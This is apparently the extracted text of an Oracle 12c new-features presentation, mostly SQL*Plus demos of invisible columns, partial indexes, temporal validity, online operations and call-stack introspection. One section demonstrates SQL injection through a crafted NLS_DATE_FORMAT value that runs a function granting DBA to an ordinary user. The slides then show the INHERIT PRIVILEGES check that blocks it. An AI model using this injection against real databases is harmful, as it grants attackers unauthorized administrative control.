Professional Documents
Culture Documents
Small print
The following is intended to outline our general product
Insert Information Protection Policy Classification from Slide 12 of the corporate presentation template
#1 Invisible
Columns
Invisible Columns
ops$tkyte%ORA12CR1> create table t
2 ( x int,
3
y int
4 )
5 /
Table created.
ops$tkyte%ORA12CR1> insert into t values ( 1, 2 );
1 row created.
Invisible Columns
ops$tkyte%ORA12CR1> alter table t add
( z int INVISIBLE );
Table altered.
Invisible Columns
ops$tkyte%ORA12CR1> desc t
Name
Null?
----------------- -------X
Y
Type
-----------NUMBER(38)
NUMBER(38)
Invisible Columns
ops$tkyte%ORA12CR1> insert into t values ( 3, 4 );
1 row created.
Invisible Columns
ops$tkyte%ORA12CR1> select * from t;
X
Y
---------- ---------1
2
3
4
Invisible Columns
ops$tkyte%ORA12CR1> insert into t (x,y,z)
values ( 5,6,7 );
1 row created.
ops$tkyte%ORA12CR1> select x, y, z from t;
X
Y
Z
---------- ---------- ---------1
2
3
4
5
6
7
10Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Invisible Columns
ops$tkyte%ORA12CR1> alter table t modify z visible;
Table altered.
ops$tkyte%ORA12CR1> select * from t;
X
Y
Z
---------- ---------- ---------1
2
3
4
5
6
7
11Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Type
-----------NUMBER(38)
NUMBER(38)
NUMBER(38)
NUMBER(38)
NUMBER(38)
#2 Invokers Rights
Invokers Rights
Invokers Rights routines ran with the privileges of the
invoker
The invoker might be much higher privileged than the
Invokers Rights
create or function seemingly_nice_utility
authid current_user
as
begin
execute immediate grant dba to me;
do_something_useful;
end;
If that seemingly nice routine was executed by a highly
privileged user, the owner of this nice utility would
become a DBA
17Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Invokers Rights
ops$tkyte%ORA12CR1> create or replace
2 function injectable( p_date in date )
3 return number
4 as
5
l_sql varchar2(1000);
6
l_cnt number;
7 begin
8
dbms_output.put_line( 'enter' );
9
l_sql := '
10
select count(*) into :n from all_users
11
where created = ''' || p_date || '''';
12
13
dbms_output.put_line( l_sql );
14
execute immediate l_sql into l_cnt;
15
return l_cnt;
16 end;
Invokers Rights
ops$tkyte%ORA12CR1> exec dbms_output.put_line( injectable( sysdate ) )
enter
select
into
from
where
count(*)
:n
all_users
created = '28-SEP-12'
0
PL/SQL procedure successfully completed.
Invokers Rights
scott%ORA12CR1> create or replace
2 function nefarious
3 return date
4 authid current_user
5 as
6
pragma autonomous_transaction;
7 begin
8
dbms_output.put_line( 'in routine' );
9
execute immediate 'grant dba to scott';
10
dbms_output.put_line( 'granted' );
11
return sysdate;
12 end;
13 /
Function created.
Invokers Rights
scott%ORA12CR1> grant execute on nefarious to ops$tkyte;
Grant succeeded.
scott%ORA12CR1> alter session set nls_date_format = '"'' or scott.nefarious() is not
null--"';
Session altered.
scott%ORA12CR1> select sysdate from dual;
SYSDATE
-----------------------------------' or scott.nefarious() is not null--
Invokers Rights
scott%ORA12CR1> select * from session_roles;
ROLE
-----------------------------CONNECT
RESOURCE
scott%ORA12CR1> exec dbms_output.put_line( ops$tkyte.injectable(sysdate) )
enter
select count(*)
into :n
from all_users
where created = '' or
scott.nefarious() is not null--'
in routine
granted
38
PL/SQL procedure successfully completed.
Invokers Rights
scott%ORA12CR1> connect scott/tiger
Connected.
scott%ORA12CR1> select * from session_roles;
ROLE
-----------------------------CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
XDB_SET_INVOKER
OLAP_DBA
OLAP_XS_ADMIN
PLUSTRACE
22 rows selected.
Not good
23Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Invokers Rights
Two new privileges:
INHERIT PRIVILEGES
By default PUBLIC has INHERIT PRIVILEGES on all newly
Consider
Invokers Rights
scott%PDB1> exec dbms_output.put_line( ops$tkyte.injectable(sysdate) )
enter
select count(*)
into :n
from all_users
where created = ''
or scott.nefarious() is not null--'
BEGIN dbms_output.put_line( ops$tkyte.injectable(sysdate) ); END;
*
ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SCOTT.NEFARIOUS", line 1
ORA-06512: at "OPS$TKYTE.INJECTABLE", line 15
ORA-06512: at line 1
#3 Multiple Same
Column Indexes
Indexing
ops$tkyte%ORA11GR2> create table t ( x int, y int, z int );
Table created.
ops$tkyte%ORA11GR2> create index t_idx on t(x,y);
Index created.
ops$tkyte%ORA11GR2> create bitmap index t_idx2 on t(x,y);
create bitmap index t_idx2 on t(x,y)
*
ERROR at line 1:
ORA-01408: such column list already indexed
ops$tkyte%ORA11GR2> create bitmap index t_idx2 on t(x,y) invisible;
create bitmap index t_idx2 on t(x,y) invisible
*
ERROR at line 1:
ORA-01408: such column list already indexed
Indexing
ops$tkyte%ORA12CR1> create table t ( x int, y int, z int );
Table created.
ops$tkyte%ORA12CR1> create index t_idx on t(x,y);
Index created.
ops$tkyte%ORA12CR1> create bitmap index t_idx2 on t(x,y) invisible;
Index created.
Indexing
ops$tkyte%ORA12CR1> alter session set
optimizer_use_invisible_indexes=true;
Session altered.
ops$tkyte%ORA12CR1> exec dbms_stats.set_table_stats
( user, 'T', numrows => 1000000, numblks => 100000 );
PL/SQL procedure successfully completed.
Indexing
ops$tkyte%ORA12CR1> set autotrace traceonly explain
ops$tkyte%ORA12CR1> select count(*) from t;
--------------------------------------------------------------------| Id | Operation
| Name
| Rows | Cost (%CPU)|
--------------------------------------------------------------------|
0 | SELECT STATEMENT
|
|
1 |
0
(0)|
|
1 | SORT AGGREGATE
|
|
1 |
|
|
2 |
BITMAP CONVERSION COUNT
|
| 1000K|
|
|
3 |
BITMAP INDEX FAST FULL SCAN| T_IDX2 |
|
|
---------------------------------------------------------------------
#4 Temporal
Validity
Temporal Validity
ops$tkyte%ORA12CR1> create table addresses
2 ( empno
number,
3
addr_data
varchar2(30),
4
start_date date,
5
end_date
date,
6
period for valid(start_date,end_date)
7 )
8 /
Table created.
Temporal Validity
ops$tkyte%ORA12CR1> insert into addresses (empno, addr_data, start_date, end_date )
2 values ( 1234, '123 Main Street', trunc(sysdate-5), trunc(sysdate-2) );
1 row created.
ops$tkyte%ORA12CR1> insert into addresses (empno, addr_data, start_date, end_date )
2 values ( 1234, '456 Fleet Street', trunc(sysdate-1), trunc(sysdate+1) );
1 row created.
ops$tkyte%ORA12CR1> insert into addresses (empno, addr_data, start_date, end_date )
2 values ( 1234, '789 1st Ave', trunc(sysdate+2), null );
1 row created.
Temporal Validity
ops$tkyte%ORA12CR1> select * from addresses;
EMPNO
---------1234
1234
1234
ADDR_DATA
-----------------------------123 Main Street
456 Fleet Street
789 1st Ave
START_DAT
--------12-MAY-13
16-MAY-13
19-MAY-13
END_DATE
--------15-MAY-13
18-MAY-13
Temporal Validity
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate-3;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 123 Main Street
12-MAY-13 15-MAY-13
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 456 Fleet Street
16-MAY-13 18-MAY-13
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate+3;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 789 1st Ave
19-MAY-13
#5 SQL Text
Expansion
#6 Partial Indexes
Full Indexing
Complementary to full
indexing
Enhanced business
modeling
Table
Partition
Table
Partition
Table
Partition
Indexing off
No Indexing
Partial Indexing
ops$tkyte%ORA12CR1> create table t
2 ( a int,
3
b int,
4
c int,
5
d int,
6
e int
7 )
8 partition by range (a)
9 (partition p1 values less than (100) indexing on,
10
partition p2 values less than (200) indexing off,
11
partition p3 values less than (300) indexing on
12 );
Table created.
Partial Indexing
ops$tkyte%ORA12CR1> begin
2
dbms_stats.set_table_stats
3
( user, 'T', numrows=> 1000000, numblks => 100000 );
4 end;
5 /
PL/SQL procedure successfully completed.
ops$tkyte%ORA12CR1> select partition_name, high_value, indexing
2
from user_tab_partitions
3
where table_name = 'T';
PARTITION_
---------P1
P2
P3
HIGH_VALUE
---------100
200
300
INDE
---ON
OFF
ON
Partial Indexing
ops$tkyte%ORA12CR1> create index t_idx_b on t(b) local
Index created.
indexing partial;
Partial Indexing
ops$tkyte%ORA12CR1> select index_name, partition_name, status
2
from user_ind_partitions
3
where index_name in ( 'T_IDX_B', 'T_IDX_C' )
4
order by 1,2;
INDEX_NAME
---------T_IDX_B
T_IDX_B
T_IDX_B
PARTITION_
---------P1
P2
P3
STATUS
-------USABLE
UNUSABLE
USABLE
T_IDX_C
T_IDX_C
T_IDX_C
P1
P2
P3
USABLE
USABLE
USABLE
6 rows selected.
Partial Indexing
ops$tkyte%ORA12CR1> select index_name, indexing, status
2
from user_indexes
3
where index_name in ( 'T_IDX_D', 'T_IDX_E' )
4
order by 1;
INDEX_NAME
---------T_IDX_D
T_IDX_E
INDEXIN
------PARTIAL
FULL
STATUS
-------VALID
VALID
Partial Indexing
ops$tkyte%ORA12CR1> select count(*) from t where b = 2;
-----------------------------------------------------------------------------------------| Id | Operation
| Name
| Rows | Pstart| Pstop |
-----------------------------------------------------------------------------------------|
0 | SELECT STATEMENT
|
|
|
|
|
|
1 | SORT AGGREGATE
|
|
1 |
|
|
|
2 |
VIEW
| VW_TE_2 |
549 |
|
|
|
3 |
UNION-ALL
|
|
|
|
|
|
4 |
PARTITION RANGE OR
|
|
524 | KEY(OR)|KEY(OR)|
|* 5 |
TABLE ACCESS BY LOCAL INDEX ROWID BATCHED| T
|
524 | KEY(OR)|KEY(OR)|
|* 6 |
INDEX RANGE SCAN
| T_IDX_B |
1 | KEY(OR)|KEY(OR)|
|
7 |
PARTITION RANGE SINGLE
|
|
25 |
2 |
2 |
|* 8 |
TABLE ACCESS FULL
| T
|
25 |
2 |
2 |
-----------------------------------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------5 - filter(("T"."A"<100 OR ("T"."A">=200 AND "T"."A"<300)))
6 - access("B"=2)
8 - filter("B"=2)
Partial Indexing
ops$tkyte%ORA12CR1>
------------------------------------------------------------------------------|Id | Operation
|Name
| Rows |Pstart|Pstop|
------------------------------------------------------------------------------| 0| SELECT STATEMENT
|
|
|
|
|
| 1| SORT AGGREGATE
|
|
1|
|
|
|* 2|
TABLE ACCESS BY GLOBAL INDEX ROWID BATCHED|T
|
100|
1 |
1|
|* 3|
INDEX RANGE SCAN
|T_IDX_D|
1|
|
|
------------------------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------2 - filter("A"=1)
3 - access("D"=2)
Partial Indexing
ops$tkyte%ORA12CR1> select count(*) from t where d = 2 and a = 101;
----------------------------------------------------------------| Id | Operation
| Name | Rows || Pstart| Pstop |
----------------------------------------------------------------|
0 | SELECT STATEMENT
|
|
||
|
|
|
1 | SORT AGGREGATE
|
|
1 ||
|
|
|
2 |
PARTITION RANGE SINGLE|
|
100 ||
2 |
2 |
|* 3 |
TABLE ACCESS FULL
| T
|
100 ||
2 |
2 |
----------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------3 - filter(("D"=2 AND "A"=101))
#7 Online
Operations
Online Operations
ops$tkyte%ORA12CR1> create table t
2 ( a int,
3
b int,
4
c int,
5
d int
6 )
7 /
Table created.
ops$tkyte%ORA12CR1> insert into t values ( 1, 2, 3, 4 );
1 row created.
ops$tkyte%ORA12CR1> commit;
Commit complete.
Online Operations
ops$tkyte%ORA12CR1> update t set b = 42;
1 row updated.
ops$tkyte%ORA12CR1> select * from t;
A
B
C
D
---------- ---------- ---------- ---------1
42
3
4
Online Operations
ops$tkyte%ORA12CR1> declare
2
pragma autonomous_transaction;
3 begin
4
execute immediate 'alter table t set unused column d online';
5 end;
6 /
PL/SQL procedure successfully completed.
Online Operations
ops$tkyte%ORA12CR1> select * from t;
A
B
C
---------- ---------- ---------1
42
3
ops$tkyte%ORA12CR1> rollback;
Rollback complete.
ops$tkyte%ORA12CR1> select * from t;
A
B
C
---------- ---------- ---------1
2
3
#8 Implicit Result
Sets
DNAME
-------------ACCOUNTING
RESEARCH
SALES
OPERATIONS
LOC
------------NEW YORK
DALLAS
CHICAGO
BOSTON
#9 Easier Reorgs
Easier Reorgs
Easier Reorgs
ops$tkyte%ORA12CR1> create table t
2 tablespace users
3 as
4 select *
5
from all_objects;
Table created.
ops$tkyte%ORA12CR1> create index t_idx on t(object_name);
Index created.
ops$tkyte%ORA12CR1> alter table t add constraint
t_pk primary key(object_id);
Table altered.
Easier Reorgs
ops$tkyte%ORA12CR1> select index_name, status
2
from user_indexes
3
where table_name = 'T';
INDEX_NAME
---------T_PK
T_IDX
STATUS
---------VALID
VALID
Full Blocks
.....................
Total Blocks............................
Total MBytes............................
1,373
1,408
11
Easier Reorgs
ops$tkyte%ORA12CR1> begin
2 dbms_redefinition.redef_table
3 ( uname
=> user,
4
tname
=> 'T',
5
table_compression_type => 'row store compress advanced',
6
table_part_tablespace => 'TEST' );
7 end;
8 /
PL/SQL procedure successfully completed.
Easier Reorgs
ops$tkyte%ORA12CR1> select index_name, status
2
from user_indexes
3
where table_name = 'T';
INDEX_NAME
---------T_PK
T_IDX
STATUS
---------VALID
VALID
Full Blocks
.....................
Total Blocks............................
Total MBytes............................
382
512
4
#10 Improved
Introspection
Improved Introspection
Before 12.1, you used three functions in the
DBMS_Utility package
Format_Call_Stack()
Format_Error_Stack()
Format_Error_Backtrace()
New in 12.1
The package UTL_Call_Stack solves the
Improved Introspection
package body Pkg is
procedure p is
procedure q is
procedure r is
procedure p is
begin
Print_Call_Stack();
end p;
begin
p();
end r;
begin
r();
end q;
begin
q();
end p;
end Pkg;
Improved Introspection
procedure Print_Call_Stack authid Definer is
Depth pls_integer := UTL_Call_Stack.Dynamic_Depth();
begin
DBMS_Output.Put_Line(DBMS_Utility.Format_Call_Stack());
end;
----- PL/SQL Call Stack ----object
line object
handle
number name
0x631f6e88
12 procedure USR.PRINT_CALL_STACK
0x68587700
7 package body USR.PKG
0x68587700
10 package body USR.PKG
0x68587700
13 package body USR.PKG
0x68587700
16 package body USR.PKG
0x69253ca8
1 anonymous block
76Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Improved Introspection
procedure Print_Call_Stack authid Definer is
Depth pls_integer := UTL_Call_Stack.Dynamic_Depth();
begin
for j in reverse 2..Depth loop
DBMS_Output.Put_Line(
(j - 1)||
To_Char(UTL_Call_Stack.Unit_Line(j), '99')||
UTL_Call_Stack.Concatenate_Subprogram
UTL_Call_Stack.Subprogram(j)));
end loop;
end;
5
4
3
2
1
1
16
13
10
7
__anonymous_block
PKG.P
PKG.P.Q
PKG.P.Q.R
PKG.P.Q.R.P
Expanded Syntax
Cross Apply
Outer Apply
Lateral
Expanded Syntax
ops$tkyte%ORA12CR1> select d.deptno, d.dname, e2.ename
2
from dept d cross apply (select ename
3
from emp e
4
where e.deptno = d.deptno) e2
5
where d.deptno in ( 10, 40 )
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
DNAME
-------------ACCOUNTING
ACCOUNTING
ACCOUNTING
ENAME
---------CLARK
MILLER
KING
Expanded Syntax
ops$tkyte%ORA12CR1> select d.deptno, d.dname, e2.ename
2
from dept d outer apply (select ename
3
from emp e
4
where e.deptno = d.deptno) e2
5
where d.deptno in ( 10, 40 )
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
40
DNAME
-------------ACCOUNTING
ACCOUNTING
ACCOUNTING
OPERATIONS
ENAME
---------CLARK
KING
MILLER
Expanded Syntax
ops$tkyte%ORA12CR1> select d.deptno, d.dname, e2.ename
2
from dept d, lateral (select ename
3
from emp e
4
where e.deptno = d.deptno) e2
5
where d.deptno in ( 10, 40 )
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
DNAME
-------------ACCOUNTING
ACCOUNTING
ACCOUNTING
ENAME
---------CLARK
MILLER
KING
#12 SQL
Esperanto
DNAME
-------------ACCOUNTING
RESEARCH
SALES
OPERATIONS
LOC
------------NEW YORK
DALLAS
CHICAGO
BOSTON
Insert Information Protection Policy Classification from Slide 12 of the corporate presentation template